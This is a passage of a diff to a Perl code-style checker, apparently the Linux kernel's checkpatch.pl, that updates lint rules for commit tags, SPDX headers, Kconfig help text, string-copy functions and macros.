should not be used to attribute nominal patch author '$author'\n" . $herecurr); } if (!defined $lines[$linenr]) { WARN("BAD_SIGN_OFF", - "Co-developed-by: must be immediately followed by Signed-off-by:\n" . "$here\n" . $rawline); - } elsif ($rawlines[$linenr] !~ /^\s*signed-off-by:\s*(.*)/i) { + "Co-developed-by: must be immediately followed by Signed-off-by:\n" . $herecurr); + } elsif ($rawlines[$linenr] !~ /^signed-off-by:\s*(.*)/i) { WARN("BAD_SIGN_OFF", - "Co-developed-by: must be immediately followed by Signed-off-by:\n" . "$here\n" . $rawline . "\n" .$rawlines[$linenr]); + "Co-developed-by: must be immediately followed by Signed-off-by:\n" . $herecurr . $rawlines[$linenr] . "\n"); } elsif ($1 ne $email) { WARN("BAD_SIGN_OFF", - "Co-developed-by and Signed-off-by: name/email do not match \n" . "$here\n" . $rawline . "\n" .$rawlines[$linenr]); + "Co-developed-by and Signed-off-by: name/email do not match\n" . $herecurr . $rawlines[$linenr] . "\n"); + } + } + +# check if Reported-by: is followed by a Closes: tag + if ($sign_off =~ /^reported(?:|-and-tested)-by:$/i) { + if (!defined $lines[$linenr]) { + WARN("BAD_REPORTED_BY_LINK", + "Reported-by: should be immediately followed by Closes: with a URL to the report\n" . $herecurr . "\n"); + } elsif ($rawlines[$linenr] !~ /^closes:\s*/i) { + WARN("BAD_REPORTED_BY_LINK", + "Reported-by: should be immediately followed by Closes: with a URL to the report\n" . $herecurr . $rawlines[$linenr] . "\n"); + } + } + } + +# These indicate a bug fix + if (!$in_header_lines && !$is_patch && + $line =~ /^This reverts commit/) { + $is_revert = 1; + } + + if (!$in_header_lines && !$is_patch && + $line =~ /((?:(?:BUG: K.|UB)SAN: |Call Trace:|stable\@|syzkaller))/) { + $needs_fixes_tag = $1; + } + +# Check Fixes: styles is correct + if (!$in_header_lines && + $line =~ /^\s*(fixes:?)\s*(?:commit\s*)?([0-9a-f]{5,40})(?:\s*($balanced_parens))?/i) { + my $tag = $1; + my $orig_commit = $2; + my $title; + my $title_has_quotes = 0; + $fixes_tag = 1; + if (defined $3) { + # Always strip leading/trailing parens then double quotes if existing + $title = substr($3, 1, -1); + if ($title =~ /^".*"$/) { + $title = substr($title, 1, -1); + $title_has_quotes = 1; + } + } else { + $title = "commit title" + } + + + my $tag_case = not ($tag eq "Fixes:"); + my $tag_space = not ($line =~ /^fixes:? [0-9a-f]{5,40} ($balanced_parens)/i); + + my $id_length = not ($orig_commit =~ /^[0-9a-f]{12,40}$/i); + my $id_case = not ($orig_commit !~ /[A-F]/); + + my $id = "0123456789ab"; + my ($cid, $ctitle) = git_commit_info($orig_commit, $id, + $title); + + if (defined($cid) && ($ctitle ne $title || $tag_case || $tag_space || $id_length || $id_case || !$title_has_quotes)) { + my $fixed = "Fixes: $cid (\"$ctitle\")"; + if (WARN("BAD_FIXES_TAG", + "Please use correct Fixes: style 'Fixes: <12+ chars of sha1> (\"\")' - ie: '$fixed'\n" . $herecurr) && + $fix) { + $fixed[$fixlinenr] = $fixed; } } } @@ -3148,13 +3345,13 @@ sub process { length($line) > 75 && !($line =~ /^\s*[a-zA-Z0-9_\/\.]+\s+\|\s+\d+/ || # file delta changes - $line =~ /^\s*(?:[\w\.\-]+\/)++[\w\.\-]+:/ || + $line =~ /^\s*(?:[\w\.\-\+]*\/)++[\w\.\-\+]+:/ || # filename then : - $line =~ /^\s*(?:Fixes:|Link:|$signature_tags)/i || - # A Fixes: or Link: line or signature tag line + $line =~ /^\s*(?:Fixes:|https?:|$link_tags_search|$signature_tags)/i || + # A Fixes:, link or signature tag line $commit_log_possible_stack_dump)) { WARN("COMMIT_LOG_LONG_LINE", - "Possible unwrapped commit description (prefer a maximum 75 chars per line)\n" . $herecurr); + "Prefer a maximum 75 chars per line (possible unwrapped commit description?)\n" . $herecurr); $commit_log_long_line = 1; } @@ -3164,6 +3361,29 @@ sub process { $commit_log_possible_stack_dump = 0; } +# Check for odd tags before a URI/URL + if ($in_commit_log && + $line =~ /^\s*(\w+:)\s*http/ && $1 !~ /^$link_tags_search$/) { + if ($1 =~ /^v(?:ersion)?\d+/i) { + WARN("COMMIT_LOG_VERSIONING", + "Patch version information should be after the --- line\n" . $herecurr); + } else { + WARN("COMMIT_LOG_USE_LINK", + "Unknown link reference '$1', use $link_tags_print instead\n" . $herecurr); + } + } + +# Check for misuse of the link tags + if ($in_commit_log && + $line =~ /^\s*(\w+:)\s*(\S+)/) { + my $tag = $1; + my $value = $2; + if ($tag =~ /^$link_tags_search$/ && $value !~ m{^https?://}) { + WARN("COMMIT_LOG_WRONG_LINK", + "'$tag' should be followed by a public http(s) link\n" . $herecurr); + } + } + # Check for lines starting with a # if ($in_commit_log && $line =~ /^#/) { if (WARN("COMMIT_COMMENT_SYMBOL", @@ -3173,6 +3393,13 @@ sub process { } } +# Check for auto-generated unhandled placeholder text (mostly for cover letters) + if (($in_commit_log || $in_header_lines) && + $rawline =~ /(?:SUBJECT|BLURB) HERE/) { + ERROR("PLACEHOLDER_USE", + "Placeholder text detected\n" . $herecurr); + } + # Check for git id commit length and improperly formed commit descriptions # A correctly formed commit description is: # commit <SHA-1 hash length 12+ chars> ("Complete commit subject") @@ -3249,6 +3476,12 @@ sub process { $last_git_commit_id_linenr = $linenr if ($line =~ /\bcommit\s*$/i); } +# Check for mailing list archives other than lore.kernel.org + if ($rawline =~ m{http.*\b$obsolete_archives}) { + WARN("PREFER_LORE_ARCHIVE", + "Use lore.kernel.org archive links when possible - see https://lore.kernel.org/lists.html\n" . $herecurr); + } + # Check for added, moved or deleted files if (!$reported_maintainer_file && !$in_commit_log && ($line =~ /^(?:new|deleted) file mode\s*\d+\s*$/ || @@ -3330,9 +3563,10 @@ sub process { # Check for various typo / spelling mistakes if (defined($misspellings) && ($in_commit_log || $line =~ /^(?:\+|Subject:)/i)) { - while ($rawline =~ /(?:^|[^\w\-'`])($misspellings)(?:[^\w\-'`]|$)/gi) { + my $rawline_utf8 = decode("utf8", $rawline); + while ($rawline_utf8 =~ /(?:^|[^\w\-'`])($misspellings)(?:[^\w\-'`]|$)/gi) { my $typo = $1; - my $blank = copy_spacing($rawline); + my $blank = copy_spacing($rawline_utf8); my $ptr = substr($blank, 0, $-[1]) . "^" x length($typo); my $hereptr = "$hereline$ptr\n"; my $typo_fix = $spelling_fix{lc($typo)}; @@ -3455,47 +3689,47 @@ sub process { # Kconfig supports named choices), so use a word boundary # (\b) rather than a whitespace character (\s) $line =~ /^\+\s*(?:config|menuconfig|choice)\b/) { - my $length = 0; - my $cnt = $realcnt; - my $ln = $linenr + 1; - my $f; - my $is_start = 0; - my $is_end = 0; - for (; $cnt > 0 && defined $lines[$ln - 1]; $ln++) { - $f = $lines[$ln - 1]; - $cnt-- if ($lines[$ln - 1] !~ /^-/); - $is_end = $lines[$ln - 1] =~ /^\+/; + my $ln = $linenr; + my $needs_help = 0; + my $has_help = 0; + my $help_length = 0; + while (defined $lines[$ln]) { + my $f = $lines[$ln++]; next if ($f =~ /^-/); - last if (!$file && $f =~ /^\@\@/); + last if ($f !~ /^[\+ ]/); # !patch context - if ($lines[$ln - 1] =~ /^\+\s*(?:bool|tristate|prompt)\s*["']/) { - $is_start = 1; - } elsif ($lines[$ln - 1] =~ /^\+\s*(?:---)?help(?:---)?$/) { - $length = -1; + if ($f =~ /^\+\s*(?:bool|tristate|prompt)\s*["']/) { + $needs_help = 1; + next; + } + if ($f =~ /^\+\s*help\s*$/) { + $has_help = 1; + next; } - $f =~ s/^.//; - $f =~ s/#.*//; - $f =~ s/^\s+//; - next if ($f =~ /^$/); + $f =~ s/^.//; # strip patch context [+ ] + $f =~ s/#.*//; # strip # directives + $f =~ s/^\s+//; # strip leading blanks + next if ($f =~ /^$/); # skip blank lines + # At the end of this Kconfig block: # This only checks context lines in the patch # and so hopefully shouldn't trigger false # positives, even though some of these are # common words in help texts - if ($f =~ /^\s*(?:config|menuconfig|choice|endchoice| - if|endif|menu|endmenu|source)\b/x) { - $is_end = 1; + if ($f =~ /^(?:config|menuconfig|choice|endchoice| + if|endif|menu|endmenu|source)\b/x) { last; } - $length++; + $help_length++ if ($has_help); } - if ($is_start && $is_end && $length < $min_conf_desc_length) { + if ($needs_help && + $help_length < $min_conf_desc_length) { + my $stat_real = get_stat_real($linenr, $ln - 1); WARN("CONFIG_DESCRIPTION", - "please write a paragraph that describes the config symbol fully\n" . $herecurr); + "please write a help paragraph that fully describes the config symbol with at least $min_conf_desc_length lines\n" . "$here\n$stat_real\n"); } - #print "is_start<$is_start> is_end<$is_end> length<$length>\n"; } # check MAINTAINERS entries @@ -3538,20 +3772,6 @@ sub process { } } - if (($realfile =~ /Makefile.*/ || $realfile =~ /Kbuild.*/) && - ($line =~ /\+(EXTRA_[A-Z]+FLAGS).*/)) { - my $flag = $1; - my $replacement = { - 'EXTRA_AFLAGS' => 'asflags-y', - 'EXTRA_CFLAGS' => 'ccflags-y', - 'EXTRA_CPPFLAGS' => 'cppflags-y', - 'EXTRA_LDFLAGS' => 'ldflags-y', - }; - - WARN("DEPRECATED_VARIABLE", - "Use of $flag is deprecated, please use \`$replacement->{$flag} instead.\n" . $herecurr) if ($replacement->{$flag}); - } - # check for DT compatible documentation if (defined $root && (($realfile =~ /\.dtsi?$/ && $line =~ /^\+\s*compatible\s*=\s*\"/) || @@ -3583,32 +3803,51 @@ sub process { } } +# Check for RGMII phy-mode with delay on PCB + if ($realfile =~ /\.(dts|dtsi|dtso)$/ && + $line =~ /^\+\s*(phy-mode|phy-connection-type)\s*=\s*"/ && + !ctx_has_comment($first_line, $linenr)) { + my $prop = $1; + my $mode = get_quoted_string($line, $rawline); + if ($mode =~ /^"rgmii(?:|-rxid|-txid)"$/) { + WARN("UNCOMMENTED_RGMII_MODE", + "$prop $mode without comment -- delays on the PCB should be described, otherwise use \"rgmii-id\"\n" . $herecurr); + } + } + # check for using SPDX license tag at beginning of files if ($realline == $checklicenseline) { if ($rawline =~ /^[ \+]\s*\#\!\s*\//) { $checklicenseline = 2; } elsif ($rawline =~ /^\+/) { my $comment = ""; - if ($realfile =~ /\.(h|s|S)$/) { - $comment = '/*'; - } elsif ($realfile =~ /\.(c|dts|dtsi)$/) { + if ($realfile =~ /\.(c|rs|dts|dtsi)$/) { $comment = '//'; } elsif (($checklicenseline == 2) || $realfile =~ /\.(sh|pl|py|awk|tc|yaml)$/) { $comment = '#'; } elsif ($realfile =~ /\.rst$/) { $comment = '..'; } + my $pattern = qr{\Q$comment\E}; + if ($realfile =~ /\.(h|s|S)$/) { + $comment = '/*'; + $pattern = qr{/\*}; + if ($spdx_cxx_comments) { + $comment = '// or /*'; + $pattern = qr{//|/\*}; + } + } # check SPDX comment style for .[chsS] files if ($realfile =~ /\.[chsS]$/ && $rawline =~ /SPDX-License-Identifier:/ && - $rawline !~ m@^\+\s*\Q$comment\E\s*@) { + $rawline !~ m@^\+\s*$pattern\s*@) { WARN("SPDX_LICENSE_TAG", "Improper SPDX comment style for '$realfile', please use '$comment' instead\n" . $herecurr); } if ($comment !~ /^$/ && - $rawline !~ m@^\+\Q$comment\E SPDX-License-Identifier: @) { + $rawline !~ m@^\+$pattern SPDX-License-Identifier: @) { WARN("SPDX_LICENSE_TAG", "Missing or malformed SPDX-License-Identifier tag in line $checklicenseline\n" . $herecurr); } elsif ($rawline =~ /(SPDX-License-Identifier: .*)/) { @@ -3618,7 +3857,7 @@ sub process { "'$spdx_license' is not supported in LICENSES/...\n" . $herecurr); } if ($realfile =~ m@^Documentation/devicetree/bindings/@ && - not $spdx_license =~ /GPL-2\.0.*BSD-2-Clause/) { + $spdx_license !~ /GPL-2\.0(?:-only)? OR BSD-2-Clause/) { my $msg_level = \&WARN; $msg_level = \&CHK if ($file); if (&{$msg_level}("SPDX_LICENSE_TAG", @@ -3628,18 +3867,23 @@ sub process { $fixed[$fixlinenr] =~ s/SPDX-License-Identifier: .*/SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause)/; } } + if ($realfile =~ m@^include/dt-bindings/@ && + $spdx_license !~ /GPL-2\.0(?:-only)? OR \S+/) { + WARN("SPDX_LICENSE_TAG", + "DT binding headers should be licensed (GPL-2.0-only OR .*)\n" . $herecurr); + } } } } # check for embedded filenames - if ($rawline =~ /^\+.*\Q$realfile\E/) { + if ($rawline =~ /^\+.*\b\Q$realfile\E\b/) { WARN("EMBEDDED_FILENAME", "It's generally not useful to have the filename in the file\n" . $herecurr); } # check we are in a valid source file if not then ignore this hunk - next if ($realfile !~ /\.(h|c|s|S|sh|dtsi|dts)$/); + next if ($realfile !~ /\.(h|c|rs|s|S|sh|dtsi|dts)$/); # check for using SPDX-License-Identifier on the wrong line number if ($realline != $checklicenseline && @@ -3649,6 +3893,14 @@ sub process { "Misplaced SPDX-License-Identifier tag - use line $checklicenseline instead\n" . $herecurr); } +# check for disallowed SPDX file tags + if ($rawline =~ /\bSPDX-.*:/ && + $rawline !~ /\bSPDX-License-Identifier:/ && + $rawline !~ /\bSPDX-FileCopyrightText:/) { + WARN("SPDX_LICENSE_TAG", + "Disallowed SPDX tag\n" . $herecurr); + } + # line length limit (with some exclusions) # # There are a few types of lines that may extend beyond $max_line_length: @@ -3705,7 +3957,7 @@ sub process { } if ($msg_type ne "" && - (show_type("LONG_LINE") || show_type($msg_type))) { + show_type("LONG_LINE") && show_type($msg_type)) { my $msg_level = \&WARN; $msg_level = \&CHK if ($file); &{$msg_level}($msg_type, @@ -3726,7 +3978,7 @@ sub process { if ($realfile =~ /\.S$/ && $line =~ /^\+\s*(?:[A-Z]+_)?SYM_[A-Z]+_(?:START|END)(?:_[A-Z_]+)?\s*\(\s*\.L/) { WARN("AVOID_L_PREFIX", - "Avoid using '.L' prefixed local symbol names for denoting a range of code via 'SYM_*_START/END' annotations; see Documentation/asm-annotations.rst\n" . $herecurr); + "Avoid using '.L' prefixed local symbol names for denoting a range of code via 'SYM_*_START/END' annotations; see Documentation/core-api/asm-annotations.rst\n" . $herecurr); } # check we are in a valid source file C or perl if not then ignore this hunk @@ -3844,16 +4096,6 @@ sub process { } } -# Block comment styles -# Networking with an initial /* - if ($realfile =~ m@^(drivers/net/|net/)@ && - $prevrawline =~ /^\+[ \t]*\/\*[ \t]*$/ && - $rawline =~ /^\+[ \t]*\*/ && - $realline > 3) { # Do not warn about the initial copyright comment block after SPDX-License-Identifier - WARN("NETWORKING_BLOCK_COMMENT_STYLE", - "networking block comments don't use an empty /* line, use /* Comment...\n" . $hereprev); - } - # Block comments use * on subsequent lines if ($prevline =~ /$;[ \t]*$/ && #ends in comment $prevrawline =~ /^\+.*?\/\*/ && #starting /* @@ -3902,7 +4144,7 @@ sub process { if ($prevline =~ /^[\+ ]};?\s*$/ && $line =~ /^\+/ && !($line =~ /^\+\s*$/ || - $line =~ /^\+\s*EXPORT_SYMBOL/ || + $line =~ /^\+\s*(?:EXPORT_SYMBOL|early_param|ALLOW_ERROR_INJECTION)/ || $line =~ /^\+\s*MODULE_/i || $line =~ /^\+\s*\#\s*(?:end|elif|else)/ || $line =~ /^\+[a-z_]*init/ || @@ -4449,6 +4691,7 @@ sub process { # XXX(foo); # EXPORT_SYMBOL(something_foo); my $name = $1; + $name =~ s/^\s*($Ident).*/$1/; if ($stat =~ /^(?:.\s*}\s*\n)?.([A-Z_]+)\s*\(\s*($Ident)/ && $name =~ /^${Ident}_$2/) { #print "FOO C name<$name>\n"; @@ -4669,12 +4912,12 @@ sub process { } } -# avoid BUG() or BUG_ON() - if ($line =~ /\b(?:BUG|BUG_ON)\b/) { +# do not use BUG() or variants + if ($line =~ /\b(?!AA_|BUILD_|IDA_|KVM_|RWLOCK_|snd_|SPIN_)(?:[a-zA-Z_]*_)?BUG(?:_ON)?(?:_[A-Z_]+)?\s*\(/) { my $msg_level = \&WARN; $msg_level = \&CHK if ($file); &{$msg_level}("AVOID_BUG", - "Avoid crashing the kernel - try using WARN_ON & recovery code rather than BUG() or BUG_ON()\n" . $herecurr); + "Do not crash the kernel unless it is absolutely unavoidable--use WARN_ON_ONCE() plus recovery code (if feasible) instead of BUG() or variants\n" . $herecurr); } # avoid LINUX_VERSION_CODE @@ -4895,7 +5138,7 @@ sub process { if|for|while|switch|return|case| volatile|__volatile__| __attribute__|format|__extension__| - asm|__asm__)$/x) + asm|__asm__|scoped_guard)$/x) { # cpp #define statements have non-optional spaces, ie # if there is a space between the name and the open @@ -5356,9 +5599,9 @@ sub process { } } -# check for unnecessary parentheses around comparisons in if uses -# when !drivers/staging or command-line uses --strict - if (($realfile !~ m@^(?:drivers/staging/)@ || $check_orig) && +# check for unnecessary parentheses around comparisons +# except in drivers/staging + if (($realfile !~ m@^(?:drivers/staging/)@) && $perl_version_ok && defined($stat) && $stat =~ /(^.\s*if\s*($balanced_parens))/) { my $if_stat = $1; @@ -5462,9 +5705,7 @@ sub process { my $comp = $3; my $to = $4; my $newcomp = $comp; - - if ($const !~ /^\QTST_/ && - $lead !~ /(?:$Operators|\.)\s*$/ && + if ($lead !~ /(?:$Operators|\.)\s*$/ && $to !~ /^(?:Constant|[A-Z_][A-Z0-9_]*)$/ && WARN("CONSTANT_COMPARISON", "Comparisons should place the constant on the right side of the test\n" . $herecurr) && @@ -5528,6 +5769,7 @@ sub process { defined($stat) && defined($cond) && $line =~ /\b(?:if|while|for)\s*\(/ && $line !~ /^.\s*#/) { my ($s, $c) = ($stat, $cond); + my $fixed_assign_in_if = 0; if ($c =~ /\bif\s*\(.*[^<>!=]=[^=].*/s) { if (ERROR("ASSIGN_IN_IF", @@ -5552,6 +5794,7 @@ sub process { $newline .= ')'; $newline .= " {" if (defined($brace)); fix_insert_line($fixlinenr + 1, $newline); + $fixed_assign_in_if = 1; } } } @@ -5575,8 +5818,20 @@ sub process { $stat_real = "[...]\n$stat_real"; } - ERROR("TRAILING_STATEMENTS", - "trailing statements should be on next line\n" . $herecurr . $stat_real); + if (ERROR("TRAILING_STATEMENTS", + "trailing statements should be on next line\n" . $herecurr . $stat_real) && + !$fixed_assign_in_if && + $cond_lines == 0 && + $fix && $perl_version_ok && + $fixed[$fixlinenr] =~ /^\+(\s*)((?:if|while|for)\s*$balanced_parens)\s*(.*)$/) { + my $indent = $1; + my $test = $2; + my $rest = rtrim($4); + if ($rest =~ /;$/) { + $fixed[$fixlinenr] = "\+$indent$test"; + fix_insert_line($fixlinenr + 1, "$indent\t$rest"); + } + } } } @@ -5674,16 +5929,20 @@ sub process { #CamelCase if ($var !~ /^$Constant$/ && $var =~ /[A-Z][a-z]|[a-z][A-Z]/ && +#Ignore C keywords + $var !~ /^_Generic$/ && #Ignore some autogenerated defines and enum values $var !~ /^(?:[A-Z]+_){1,5}[A-Z]{1,3}[a-z]/ && #Ignore Page<foo> variants $var !~ /^(?:Clear|Set|TestClear|TestSet|)Page[A-Z]/ && +#Ignore ETHTOOL_LINK_MODE_<foo> variants + $var !~ /^ETHTOOL_LINK_MODE_/ && #Ignore SI style variants like nS, mV and dB #(ie: max_uV, regulator_min_uA_show, RANGE_mA_VALUE) $var !~ /^(?:[a-z0-9_]*|[A-Z0-9_]*)?_?[a-z][A-Z](?:_[a-z0-9_]+|_[A-Z0-9_]+)?$/ && #Ignore some three character SI units explicitly, like MiB and KHz $var !~ /^(?:[a-z_]*?)_?(?:[KMGT]iB|[KMGT]?Hz)(?:_[a-z_]+)?$/) { - while ($var =~ m{($Ident)}g) { + while ($var =~ m{\b($Ident)}g) { my $word = $1; next if ($word !~ /[A-Z][a-z]|[a-z][A-Z]/); if ($check) { @@ -5733,9 +5992,9 @@ sub process { } } -# multi-statement macros should be enclosed in a do while loop, grab the -# first statement and ensure its the whole macro if its not enclosed -# in a known good container +# Usually multi-statement macros should be enclosed in a do {} while +# (0) loop. Grab the first statement and ensure its the whole macro +# if its not enclosed in a known good container if ($realfile !~ m@/vmlinux.lds.h$@ && $line =~ /^.\s*\#\s*define\s*$Ident(\()?/) { my $ln = $linenr; @@ -5788,10 +6047,13 @@ sub process { my $exceptions = qr{ $Declare| + # named exceptions module_param_named| MODULE_PARM_DESC| DECLARE_PER_CPU| DEFINE_PER_CPU| + static_assert| + # declaration primitives __typeof__\(| union| struct| @@ -5813,6 +6075,7 @@ sub process { $dstat !~ /$exceptions/ && $dstat !~ /^\.$Ident\s*=/ && # .foo = $dstat !~ /^(?:\#\s*$Ident|\#\s*$Constant)\s*$/ && # stringification #foo + $dstat !~ /^case\b/ && # case ... $dstat !~ /^do\s*$Constant\s*while\s*$Constant;?$/ && # do {...} while (...); // do {...} while (...) $dstat !~ /^while\s*$Constant\s*$Constant\s*$/ && # while (...) {...} $dstat !~ /^for\s*$Constant$/ && # for (...) @@ -5825,11 +6088,11 @@ sub process { ERROR("MULTISTATEMENT_MACRO_USE_DO_WHILE", "Macros starting with if should be enclosed by a do - while loop to avoid possible if/else logic defects\n" . "$herectx"); } elsif ($dstat =~ /;/) { - ERROR("MULTISTATEMENT_MACRO_USE_DO_WHILE", - "Macros with multiple statements should be enclosed in a do - while loop\n" . "$herectx"); + WARN("MULTISTATEMENT_MACRO_USE_DO_WHILE", + "Non-declarative macros with multiple statements should be enclosed in a do - while loop\n" . "$herectx\nBUT SEE:\n$DO_WHILE_0_ADVICE"); } else { ERROR("COMPLEX_MACRO", - "Macros with complex values should be enclosed in parentheses\n" . "$herectx"); + "Macros with complex values should be enclosed in parentheses\n" . "$herectx\nBUT SEE:\n$DO_WHILE_0_ADVICE"); } } @@ -5871,6 +6134,12 @@ sub process { CHK("MACRO_ARG_PRECEDENCE", "Macro argument '$arg' may be better as '($arg)' to avoid precedence issues\n" . "$herectx"); } + +# check if this is an unused argument + if ($define_stmt !~ /\b$arg\b/ && $define_stmt) { + WARN("MACRO_ARG_UNUSED", + "Argument '$arg' is not used in function-like macro\n" . "$herectx"); + } } # check for macros with flow control, but without ## concatenation @@ -5885,6 +6154,9 @@ sub process { # check for line continuations outside of #defines, preprocessor #, and asm + } elsif ($realfile =~ m@/vmlinux.lds.h$@) { + $line =~ s/(\w+)/$maybe_linker_symbol{$1}++/ge; + #print "REAL: $realfile\nln: $line\nkeys:", sort keys %maybe_linker_symbol; } else { if ($prevline !~ /^..*\\$/ && $line !~ /^\+\s*\#.*\\$/ && # preprocessor @@ -6411,11 +6683,11 @@ sub process { # ignore udelay's < 10, however if (! ($delay < 10) ) { CHK("USLEEP_RANGE", - "usleep_range is preferred over udelay; see Documentation/timers/timers-howto.rst\n" . $herecurr); + "usleep_range is preferred over udelay; see function description of usleep_range() and udelay().\n" . $herecurr); } if ($delay > 2000) { WARN("LONG_UDELAY", - "long udelay - prefer mdelay; see arch/arm/include/asm/delay.h\n" . $herecurr); + "long udelay - prefer mdelay; see function description of mdelay().\n" . $herecurr); } } @@ -6423,7 +6695,7 @@ sub process { if ($line =~ /\bmsleep\s*\((\d+)\);/) { if ($1 < 20) { WARN("MSLEEP", - "msleep < 20ms can sleep for up to 20ms; see Documentation/timers/timers-howto.rst\n" . $herecurr); + "msleep < 20ms can sleep for up to 20ms; see function description of msleep().\n" . $herecurr); } } @@ -6520,6 +6792,13 @@ sub process { } } +# check for context_unsafe without a comment. + if ($line =~ /\bcontext_unsafe\b/ && + !ctx_has_comment($first_line, $linenr)) { + WARN("CONTEXT_UNSAFE", + "context_unsafe without comment\n" . $herecurr); + } + # check of hardware specific defines if ($line =~ m@^.\s*\#\s*if.*\b(__i386__|__powerpc64__|__sun__|__s390x__)\b@ && $realfile !~ m@include/asm-@) { CHK("ARCH_DEFINES", @@ -6731,7 +7010,7 @@ sub process { ($extension eq "f" && defined $qualifier && $qualifier !~ /^w/) || ($extension eq "4" && - defined $qualifier && $qualifier !~ /^cc/)) { + defined $qualifier && $qualifier !~ /^c(?:[hlbc]|hR)$/)) { $bad_specifier = $specifier; last; } @@ -6745,15 +7024,19 @@ sub process { } if ($bad_specifier ne "") { my $stat_real = get_stat_real($linenr, $lc); + my $msg_level = \&WARN; my $ext_type = "Invalid"; my $use = ""; if ($bad_specifier =~ /p[Ff]/) { $use = " - use %pS instead"; $use =~ s/pS/ps/ if ($bad_specifier =~ /pf/); + } elsif ($bad_specifier =~ /pA/) { + $use = " - '%pA' is only intended to be used from Rust code"; + $msg_level = \&ERROR; } - WARN("VSPRINTF_POINTER_EXTENSION", - "$ext_type vsprintf pointer extension '$bad_specifier'$use\n" . "$here\n$stat_real\n"); + &{$msg_level}("VSPRINTF_POINTER_EXTENSION", + "$ext_type vsprintf pointer extension '$bad_specifier'$use\n" . "$here\n$stat_real\n"); } } } @@ -6817,13 +7100,43 @@ sub process { # } # } # } +# strcpy uses that should likely be strscpy + if ($line =~ /\bstrcpy\s*\(/ && !is_userspace($realfile)) { + WARN("STRCPY", + "Prefer strscpy over strcpy - see: https://github.com/KSPP/linux/issues/88\n" . $herecurr); + } # strlcpy uses that should likely be strscpy - if ($line =~ /\bstrlcpy\s*\(/) { + if ($line =~ /\bstrlcpy\s*\(/ && !is_userspace($realfile)) { WARN("STRLCPY", - "Prefer strscpy over strlcpy - see: https://lore.kernel.org/r/CAHk-=wgfRnXz0W3D37d01q3JFkr_i_uTL=V6A6G1oUZcprmknw\@mail.gmail.com/\n" . $herecurr); + "Prefer strscpy over strlcpy - see: https://github.com/KSPP/linux/issues/89\n" . $herecurr); + } + +# strncpy uses that should likely be strscpy or strscpy_pad + if ($line =~ /\bstrncpy\s*\(/ && !is_userspace($realfile)) { + WARN("STRNCPY", + "Prefer strscpy, strscpy_pad, or __nonstring over strncpy - see: https://github.com/KSPP/linux/issues/90\n" . $herecurr); + } + +# ethtool_sprintf uses that should likely be ethtool_puts + if ($line =~ /\bethtool_sprintf\s*\(\s*$FuncArg\s*,\s*$FuncArg\s*\)/) { + if (WARN("PREFER_ETHTOOL_PUTS", + "Prefer ethtool_puts over ethtool_sprintf with only two arguments\n" . $herecurr) && + $fix) { + $fixed[$fixlinenr] =~ s/\bethtool_sprintf\s*\(\s*($FuncArg)\s*,\s*($FuncArg)/ethtool_puts($1, $7)/; + } } + # use $rawline because $line loses %s via sanitization and thus we can't match against it. + if ($rawline =~ /\bethtool_sprintf\s*\(\s*$FuncArg\s*,\s*\"\%s\"\s*,\s*$FuncArg\s*\)/) { + if (WARN("PREFER_ETHTOOL_PUTS", + "Prefer ethtool_puts over ethtool_sprintf with standalone \"%s\" specifier\n" . $herecurr) && + $fix) { + $fixed[$fixlinenr] =~ s/\bethtool_sprintf\s*\(\s*($FuncArg)\s*,\s*"\%s"\s*,\s*($FuncArg)/ethtool_puts($1, $7)/; + } + } + + # typecasts on min/max could be min_t/max_t if ($perl_version_ok && defined $stat && @@ -6856,11 +7169,11 @@ sub process { my $max = $7; if ($min eq $max) { WARN("USLEEP_RANGE", - "usleep_range should not use min == max args; see Documentation/timers/timers-howto.rst\n" . "$here\n$stat\n"); + "usleep_range should not use min == max args; see function description of usleep_range().\n" . "$here\n$stat\n"); } elsif ($min =~ /^\d+$/ && $max =~ /^\d+$/ && $min > $max) { WARN("USLEEP_RANGE", - "usleep_range args reversed, use min then max; see Documentation/timers/timers-howto.rst\n" . "$here\n$stat\n"); + "usleep_range args reversed, use min then max; see function description of usleep_range().\n" . "$here\n$stat\n"); } } @@ -6891,7 +7204,7 @@ sub process { if ($count == 1 && $format =~ /^"\%(?i:ll[udxi]|[udxi]ll|ll|[hl]h?[udxi]|[udxi][hl]h?|[hl]h?|[udxi])"$/) { WARN("SSCANF_TO_KSTRTO", - "Prefer tst_parse_<type> to single variable sscanf\n" . "$here\n$stat_real\n"); + "Prefer kstrto<type> to single variable sscanf\n" . "$here\n$stat_real\n"); } } } @@ -6928,6 +7241,21 @@ sub process { "arguments for function declarations should follow identifier\n" . $herecurr); } + } elsif ($realfile =~ /\.c$/ && defined $stat && + $stat =~ /^\+extern struct\s+(\w+)\s+(\w+)\[\];/) + { + my ($st_type, $st_name) = ($1, $2); + + for my $s (keys %maybe_linker_symbol) { + #print "Linker symbol? $st_name : $s\n"; + goto LIKELY_LINKER_SYMBOL + if $st_name =~ /$s/; + } + WARN("AVOID_EXTERNS", + "found a file-scoped extern type:$st_type name:$st_name in .c file\n" + . "is this a linker symbol ?\n" . $herecurr); + LIKELY_LINKER_SYMBOL: + } elsif ($realfile =~ /\.c$/ && defined $stat && $stat =~ /^.\s*extern\s+/) { @@ -6996,15 +7324,42 @@ sub process { "Prefer $3(sizeof(*$1)...) over $3($4...)\n" . $herecurr); } -# check for k[mz]alloc with multiplies that could be kmalloc_array/kcalloc +# check for (kv|k)[mz]alloc that could be kmalloc_obj/kvmalloc_obj/kzalloc_obj/kvzalloc_obj + if ($perl_version_ok && + defined $stat && + $stat =~ /^\+\s*($Lval)\s*\=\s*(?:$balanced_parens)?\s*((?:kv|k)[mz]alloc)\s*\(\s*($FuncArg)\s*,/) { + my $oldfunc = $3; + my $a1 = $4; + my $newfunc = "kmalloc_obj"; + $newfunc = "kvmalloc_obj" if ($oldfunc eq "kvmalloc"); + $newfunc = "kvzalloc_obj" if ($oldfunc eq "kvzalloc"); + $newfunc = "kzalloc_obj" if ($oldfunc eq "kzalloc"); + + if ($a1 =~ s/^sizeof\s*\S\(?([^\)]*)\)?$/$1/) { + my $cnt = statement_rawlines($stat); + my $herectx = get_stat_here($linenr, $cnt, $here); + + if (WARN("ALLOC_WITH_SIZEOF", + "Prefer $newfunc over $oldfunc with sizeof\n" . $herectx) && + $cnt == 1 && + $fix) { + $fixed[$fixlinenr] =~ s/\b($Lval)\s*\=\s*(?:$balanced_parens)?\s*((?:kv|k)[mz]alloc)\s*\(\s*($FuncArg)\s*,/$1 = $newfunc($a1,/; + } + } + } + + +# check for (kv|k)[mz]alloc with multiplies that could be kmalloc_objs/kvmalloc_objs/kzalloc_objs/kvzalloc_objs if ($perl_version_ok && defined $stat && - 